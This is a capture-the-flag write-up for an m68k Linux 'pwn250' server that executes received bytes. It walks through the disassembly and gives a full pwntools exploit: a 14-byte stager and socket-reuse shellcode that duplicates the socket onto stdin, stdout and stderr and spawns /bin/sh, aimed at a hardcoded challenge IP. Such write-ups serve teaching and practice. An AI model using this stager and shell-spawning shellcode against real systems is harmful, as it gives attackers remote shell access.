# Pwn250 Writeup
Here we have a m68k linux binary acting as a server.  When you connect to it it read your input and execute the raw data as m68k code.  
To actually emulate the binary on x86 you'll need a [custom version of qemu-m68k](https://wiki.debian.org/M68k/sbuildQEMU).  Otherwise you'll be greeted with this:  ```âžœ  pwn250 qemu-m68k -L /usr/m68k-linux-gnu pwn250.fileqemu: fatal: Illegal instruction: ebc0 @ f67e66aeD0 = 6ffffef5   A0 = f67fcf58   F0 = 0000000000000000 (           0)D1 = 0000010a   A1 = 00000000   F1 = 0000000000000000 (           0)D2 = 0000000f   A2 = 00000000   F2 = 0000000000000000 (           0)D3 = 00000000   A3 = 00000000   F3 = 0000000000000000 (           0)D4 = 00000000   A4 = f67e1000   F4 = 0000000000000000 (           0)D5 = 00000000   A5 = f67fd000   F5 = 0000000000000000 (           0)D6 = f6fff100   A6 = f6fff354   F6 = 0000000000000000 (           0)D7 = 00000000   A7 = f6fff0fc   F7 = 0000000000000000 (           0)PC = f67e66ae   SR = 0009 -N--C FPRESULT =            0[1]    27694 abort      qemu-m68k -L /usr/m68k-linux-gnu pwn250.file```After installing ...```âžœ  pwn250 qemu-m68k-static -L /usr/m68k-linux-gnu pwn250.file------âžœ  pwn250 netstat -ltActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address           Foreign Address         Stattcp        0      0 0.0.0.0:1234            0.0.0.0:*               LISTEN```Alright let's get to work ... oh wait nope, gdb decided today is not the day.```âžœ  pwn250 gdb-multiarch ./pwn250.fileGNU gdb (Debian 7.12-6) 7.12.0.20161007-gitCopyright (C) 2016 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.  Type "show copying"and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...Loaded 105 commands.  Type pwndbg [filter] for a list.Reading symbols from ./pwn250.file...(no debugging symbols found)...done.pwndbg> set architecture m68kThe target architecture is assumed to be m68kpwndbg> startTemporary breakpoint 1 at 0x800008cc[1]    13997 abort (core dumped)  gdb-multiarch ./pwn250.file```To debug the application I used the -d in_asm and -strace options in qemu which give me access to the  assembly instructions emulated by qemu and the syscalls made by the application.
Ok so to continue we'll need a bit of context for peoples coming from x86.  
[m68k](https://en.wikipedia.org/wiki/Motorola_68000) is a 16/32 bits big-endian architecture (here 32 bit is used), with a quite small [instruction set](http://68k.hax.com/).  Syscalls are made with the "trap #0" instruction, arguments are in d1, d2, d3 and d4, syscall number is in d0.  Function arguments are put on the stack.pea is push.jsr is call.
A lot of instrustions have a size attribute which tell them how much data they are going to modify, for example:```	move.l #$41414141, d0 ; will put 0x41414141 in the register d0.	move #$41414141, d0 ; will only put 0x4141 in d0.```
With all this information we are ready to start writing the exploit, let's have a quick look at the run_shellcode function.```/ (fcn) sym.run_shellcode 152|   sym.run_shellcode ();|           0x80000830      4e56fff4       link.w a6, -0xc|           0x80000834      42aefffc       clr.l -0x4(a6)|           0x80000838      42a7           clr.l -(sp)|           0x8000083a      4878ffff       pea 0xffff.w|           0x8000083e      48780022       pea 0x22.w|           0x80000842      48780007       pea 0x7.w|           0x80000846      48781000       pea 0x1000.w|           0x8000084a      42a7           clr.l -(sp)|           0x8000084c      4eb980000654   jsr sym.imp.mmap <-------- mmap a RWX mapping for the shellcode|           0x80000852      4fef0018       lea 0x18(sp), sp|           0x80000856      2008           move.l a0, d0|           0x80000858      2d40fffc       move.l d0, -0x4(a6)|           0x8000085c      202efffc       move.l -0x4(a6), d0|           0x80000860      72ff           moveq -0x1, d1|           0x80000862      b280           cmp.l d0, d1|       ,=< 0x80000864      660a           bne.b 0x80000870|       |   0x80000866      48780001       pea 0x1.w|       |   0x8000086a      4eb980000640   jsr sym.imp.exit|       `-> 0x80000870      2f2e0008       move.l 0x8(a6), -(sp)|           0x80000874      487980000a98   pea str.Mopen_implant_ready_on_fd__d:_n|           0x8000087a      2f2e0008       move.l 0x8(a6), -(sp)|           0x8000087e      4eb9800005dc   jsr sym.imp.dprintf|           0x80000884      4fef000c       lea 0xc(sp), sp|           0x80000888      202efffc       move.l -0x4(a6), d0|           0x8000088c      4878000e       pea 0xe.w				; size|           0x80000890      2f00           move.l d0, -(sp)			; buf|           0x80000892      2f2e0008       move.l 0x8(a6), -(sp)	; fd|           0x80000896      4eb9800005b4   jsr sym.imp.read <-------- retrieve your shellcode|           0x8000089c      4fef000c       lea 0xc(sp), sp|           0x800008a0      2d40fff8       move.l d0, -0x8(a6)|           0x800008a4      487980000ab7   pea str.Executing_payload:_n|           0x800008aa      2f2e0008       move.l 0x8(a6), -(sp)|           0x800008ae      4eb9800005dc   jsr sym.imp.dprintf|           0x800008b4      508f           addq.l 0x8, sp|           0x800008b6      2d6efffcfff4   move.l -0x4(a6), -0xc(a6)|           0x800008bc      206efff4       movea.l -0xc(a6), a0|           0x800008c0      4e90           jsr (a0) <---------------- jump to shellcode|           0x800008c2      4280           clr.l d0|           0x800008c4      4e5e           unlk a6\           0x800008c6      4e75           rts```Here we can see the first problem, the read call only reads 14 bytes, we'll need to make a stager.  
The solution I used is to jump back in the run_shellcode function right before the call to read and  supply different parameters. Since the frame pointer (a6) was not modified the function  will still work as normal except it will read my whole shellcode.```python#!/usr/bin/python
import osimport sysfrom pwn import *
if len(sys.argv) == 2 and sys.argv[1] == '-r':    p = remote("165.227.98.55", 1234)else:    p = remote("127.0.0.1", 1234)
def comp(code):    with open("p.s", 'w') as f:        f.write(code)    os.system("./asmx -C 68000 -b 0 p.s -e; xxd p.s.bin")    with open("p.s.bin", "r") as f:        payload = f.read()    return payload
stager = """    pea $200    pea (a0)    jmp ($80000892.l)"""p.send(comp(stager))p.recvuntil("Executing payload:")```Here I user [asmx](http://xi6.com/projects/asmx/) to compile my assembly code on the run.  
Next is making the actual shellcode, since it's a remote challenge I'll make a socket reuse shellcode.  The plan is to redirect stdin, stdout and stderr to the open socket, and then execute a shell.  ```dup2(4, 0)  dup2(4, 1)  dup2(4, 2)  execve("/bin/sh", NULL, NULL)```Since the string "/bin/sh" is not located in the program I'll put it in the stack using the frame pointer  ```    ;dup2(4, 0)    moveq #63, d0    moveq #4, d1    moveq #0, d2    trap #0    ;dup2(4, 1)    moveq #63, d0    moveq #4, d1    moveq #1, d2    trap #0    ;dup2(4, 2)    moveq #63, d0    moveq #4, d1    moveq #2, d2    trap #0
    ;put /bin/sh in memory    move.l #$2f62696e, 0x10(a6)    move.l #$2f736800, 0x14(a6)
    ;execve("/bin/sh", 0, 0)    moveq #$b, d0    move.l #$0, d3    move.l #$0, d2    move.l #$0, d1    add.l a6, d1    addi.l #$10, d1    trap #0```
full exploit:```python#!/usr/bin/python
import osimport sysfrom pwn import *
if len(sys.argv) == 2 and sys.argv[1] == '-r':    p = remote("165.227.98.55", 1234)else:    p = remote("127.0.0.1", 1234)
def comp(code):    with open("p.s", 'w') as f:        f.write(code)    os.system("./asmx -C 68000 -b 0 p.s -e; xxd p.s.bin")    with open("p.s.bin", "r") as f:        payload = f.read()    return payload
stager = """    pea $200    pea (a0)    jmp ($80000892.l)"""p.send(comp(stager))p.recvuntil("Executing payload:")
shellcode = """    ;dup2(4, 0)    moveq #63, d0    moveq #4, d1    moveq #0, d2    trap #0    ;dup2(4, 1)    moveq #63, d0    moveq #4, d1    moveq #1, d2    trap #0    ;dup2(4, 2)    moveq #63, d0    moveq #4, d1    moveq #2, d2    trap #0
    ;put /bin/sh in memory    move.l #$2f62696e, 0x10(a6)    move.l #$2f736800, 0x14(a6)
    ;execve("/bin/sh", 0, 0)    moveq #$b, d0    move.l #$0, d3    move.l #$0, d2    move.l #$0, d1    add.l a6, d1    addi.l #$10, d1    trap #0     moveq #1, d0    trap #0"""p.send(comp(shellcode))
p.interactive()```